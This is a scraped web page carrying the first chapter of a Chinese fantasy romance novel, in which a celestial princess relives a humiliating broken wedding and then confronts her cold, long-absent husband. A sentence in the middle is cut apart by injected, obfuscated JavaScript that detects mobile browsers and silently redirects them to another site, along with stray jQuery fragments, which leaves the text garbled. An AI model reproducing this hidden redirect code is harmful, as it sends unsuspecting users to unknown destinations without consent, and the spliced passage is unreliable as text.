默认冷灰
24号文字
方正启体

1. 第1章

作者:快乐土狗本书字数:K更新时间:
    九昭又做梦了。


    梦里是重复无数次的过去景象。


    她梦见四千五百年前的初春,她一生迄今为止最重要的日子。


    明明是大好的喜日,她却追着兰祁来到发落罪仙的长生台前。兰祁本命武器烈霄的雪亮剑锋横亘在他们之间,剑上映出她的烈烈嫁衣,以及兰祁那张风仪无双,却淡漠疏离的脸。


    “九昭神姬,我厌恶你多年——”


    他冷然看她,“若非念及帝座三万年养育之恩,我怎会答应同你成婚!”


    呼斥声惊雷般在九昭耳畔炸响,亦与三清天常年和畅的微风夹杂在一起,传到立于云端观礼的漫天神佛耳中去。


    九昭不敢去看他们的表情,只能在一片窒息里,仰面望向头顶的无尽苍穹。


    天际彩云漫织,华光耀赫,是她三万岁的人生中见过的最美好场景。


    是了。


    今天是她的成人礼,也是她与自幼相识的兰祁神君合卺的上时良辰。


    在吉时到来的三刻之前,她还在以密音同兰祁喜气洋洋私语:“兰祁哥哥,契阔诀成,你以后就是本殿的人啦,本殿会护你、敬你、爱你,从前有什么不开心的事,你我就都忘了吧!”


    她是三清天神帝唯一的女儿。


    哪怕地位高如上神四王,也只有叩拜尊迎她的道理。


    她自恃高贵,从不肯放下身段对他人温言软语,能够唤出一声“兰祁哥哥”,已属不易。


    可是——


    可是一切,怎么会变成这副模样?


    剑气森寒,九昭回神,胸腔中的心脏鼓噪不息。


    不解、茫然、困惑、怀疑……万般阴霾切碎她的喜悦,又骤变成女君自尊受到挑衅的愤怒。


    翻腾如海的力量涌出灵台。


    她步步迫近兰祁,难以置信地质问:“你若不愿同我成婚,我绝不会强迫于你——兰祁、兰祁,你何必在三清天众神面前这般羞辱我?!”


    兰祁持剑的手掌很稳,寒声呵斥——


    “你可知晓,何谓人必自侮而后人侮之?


    “可恨你贵为储君,却不思进取,将三清天这浩浩穹宇当做狎游之所,整日仗势欺人,纵我是你名义上的兄长,你也打骂由心,轻狂恣意,从不予我半分尊重,只将我看作是三清天最低等轻贱的奴役——


    “本以为你年岁尚轻,总归会成熟识礼,可这三万年以来,你每每令我寒心失望,哪怕今朝是你成人之日,你的言行举止,也无半点思图悔悟之情。


    “是可忍孰不可忍,我无论如何也难以说服自己同你合卺!”


    是了。


    这样的评价,不仅来自兰祁。


    在三清天的隐秘处,在与自己不对盘的神女仙娥口中,九昭听到过无数次。


    从前她不以为意,只当作他人在艳羡嫉恨她。


    却未曾料到,与她相伴三万年,对她事事包容、处处让步的兰祁,也是这么想的。


    从他利若刀刃的目光里,九昭无师自通地明白了,为何他要把这些折辱言辞留至此刻。


    她最看重自身颜面。


    兰祁偏偏让她成为了三清天彻头彻尾的笑话。


    传闻由仙升神时要经历的雷劫,痛楚肖似剥皮凌迟,五脏俱焚。


    此时此刻,她也得以体会一二。


    兰祁又道:“九昭神姬,你可还有话要反驳?


    “若无,你我今日情断!我自知有愧帝座养育恩情,甘愿削去神位,剔除灵骨——


    “永世不再成仙!!”


    他手腕翻转,剑身自横为竖,劈出磅礴神力。


    剑气扫过,祈愿夫妻恩爱的并蒂芙蓉钗从九昭的鬓边滑落,消失在云端,她精心挽起的飞天发髻也因此散乱。


    而眼前那抹修长的身影快步后退,逐渐被长生台下方狂涌而上的罡风裹挟。


    用以震慑的烈霄长剑自指尖消失,兰祁仰面直上,展开双臂,唇畔带着终于解脱的弧度。


    在他跌下长生台的那一刻,九昭再也无法维持神姬应有的风仪气度。


    她丢掉华美无匹的臂挽披帛,疾步扑至长生台边,与身形急速远去的兰祁对望。


    “为什么、为什么……难道你我之间,从头到尾都没有一丝情意吗!”


    无人回答。


    视野的尽头,兰祁竟闭上双目,仿佛厌弃到不愿再多看她一眼!


    九昭的胸腔倏忽翻涌起一阵气息。


    腥甜的液体冲破齿关,一抹心头血喷洒而出,同样挥散在罡风之中。


    好疼。


    痛楚深入骨髓,九昭无力伏倒下去。


    愤怒仿佛随着仙力的溃散一同消失了。


    只剩下如同亿万针尖密密扎下,让她几乎喘不过气的情绪。


    梦境消散间,她却看见快被罡风吞没的兰祁伸手接住血液。


    勾起唇角,微微笑了。


    ……


    “殿下,殿下!”


    “午时将至,您快醒醒!”


    隔着锦帷,女婢焦急的呼唤一叠声传来。


    九昭睁开眼睛,抬指抹过眼尾,恍觉一抹湿热泪痕。


    四千五百年过去,她以为自己什么都忘了,不成想又在梦中为兰祁哭泣。


    不想被人发现这副软弱情态,一阵隐秘仙光过后,她指腹眼梢的湿润不复踪影。


    她撩开层层掩落的锦帷,带着初醒的不耐望向女婢,睥睨神态一如往常:“这般吵吵闹闹的做什么?叫外人听见,还以为我常曦殿半点规矩也无。”


    常曦殿是九昭的住处,自然不会有她口中的外人。


    如此一说也不过是找个由头训斥,好掩盖方才的失态。


    两位女婢跪地,一面告罪一面拜伏。


    其中一个低声说:“殿下,扶胥上神已经候在常曦殿外……朱映姐姐见您迟迟未醒,便开启殿门,先行过去侍奉了。”


    九昭一顿:“谁?”


    女婢犹豫少顷,重复:“您的王夫,扶胥上神。”


    九昭已经有五百年未曾听见这个名字,眼下还有些不真切。


    沉默一息后,她猛地攥紧身畔散落的锦被:“他怎么回来了?他竟还敢再踏进这常曦殿!”


    “殿、殿下息怒,现在还不是找上神麻烦的时候——”


    从说出“王夫”二字起,女婢们就做好了九昭会发怒的准备,战战兢兢地劝说,“扶胥上神镇守神魔边界五百年,如今得胜归来,帝座在璇玑宫设


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918045|160292||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宴庆贺,料想上神是特来邀您一起赴宴。”


    攥着锦被的手指一僵,九昭不自在地问:“璇玑宫设宴,本殿怎么不知道?”


    女婢认命阖了阖眼:“一个月前帝座就遣人前来告知过,昨日就寝时朱映姐姐也提醒过您。”


    “……”


    九昭尴尬。


    九昭沉默。


    九昭理不直气也壮。


    她命人将床上的帷帐撩起,端坐在床中央扬声道:“那就让他进来。”


    ……


    厚重殿门无声开启,一道玄黑身影逆着光走近。


    百年未见,扶胥的容颜依旧。


    眉峰冷,眼睛也冷,整个人仿佛用冰霜雕刻而成。


    他在一丈开外停下,奉手长揖到底:“臣扶胥见过神姬殿下。”


    说是夫妻,他们之间的关系甚至不如九昭和两个女婢亲近。


    见着他,一些难堪和欢喜交织的记忆莫名浮现在脑海中,九昭本微微敞开的双腿瞬间用力并在一起,她也不叫扶胥免礼,只维持着下颌半抬的姿势,冷淡审视对方。


    扶胥又继续说道:“臣来时得神绣局托付,为殿下献上赴宴要穿的礼服。”


    他信手一指,神力涌动,刻有九曜金乌的桁架乍现在九昭身侧。


    数道光华交织,一件赤红色的华美长袍自上如瀑布般倾泻而落。


    九昭身怀母亲的凤凰真血,天生喜爱一切亮烈夺目的事物。


    她的长相明媚艳丽,出挑的颜色穿在她身上,更能彰显风华。


    这件由神绣局制作了一个月才大成的礼服,放在往常足以哄得她绽放笑靥——然而此刻,她的一捧芙蓉面上却没有露出多少惊喜之色。


    皱拢的眉峰沉沉压着阴火闪烁的瞳孔,她潦草扫过礼服,重新将注意力放在扶胥身上。


    “除了礼服,你就没有其他话要对本殿说?”


    她不冷不热问询着。


    扶胥已重新挺直身体。


    两人的姿势也从九昭平视于他,变成他占据高处,俯落静寂无波的眸光。


    不像看待举案齐眉的妻子,更不似观仰一心侍奉的君主。


    他用对待生人的态度,缓缓启唇:“无。”


    早就预料到是这样的结果,她还愚蠢到问出这个自取其辱的问题,妄想求得一个答案。


    五百年前,他们成婚不到一月,他便毫无征兆地请命奔赴神魔交界。


    眼下归来见她,自然更不需要搪塞一个借口。


    兰祁悔婚辱她,扶胥迎娶了她,却也不知珍惜。


    既然如此,她又何必给他们这个脸面,强行在外人面前扮出夫妻恩爱的假象?


    九昭怒极反笑:“很好,好一个无话可说。”


    扶胥大败魔界,是有功之臣。她为君,不可无端降下惩罚。


    可惩罚不了人,难道还惩罚不了别的?


    她偏转目光,将主意打到扶胥送来的赤红礼服上。


    以为亲自送件礼服过来,她就能不计前嫌?


    她今天就要让扶胥知晓,这世界上没有如此便宜的事!


    这般想着,九昭冷冷勾起唇角,指尖半捻凝结一丝仙力,趁扶胥不备朝桁架疾射而去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)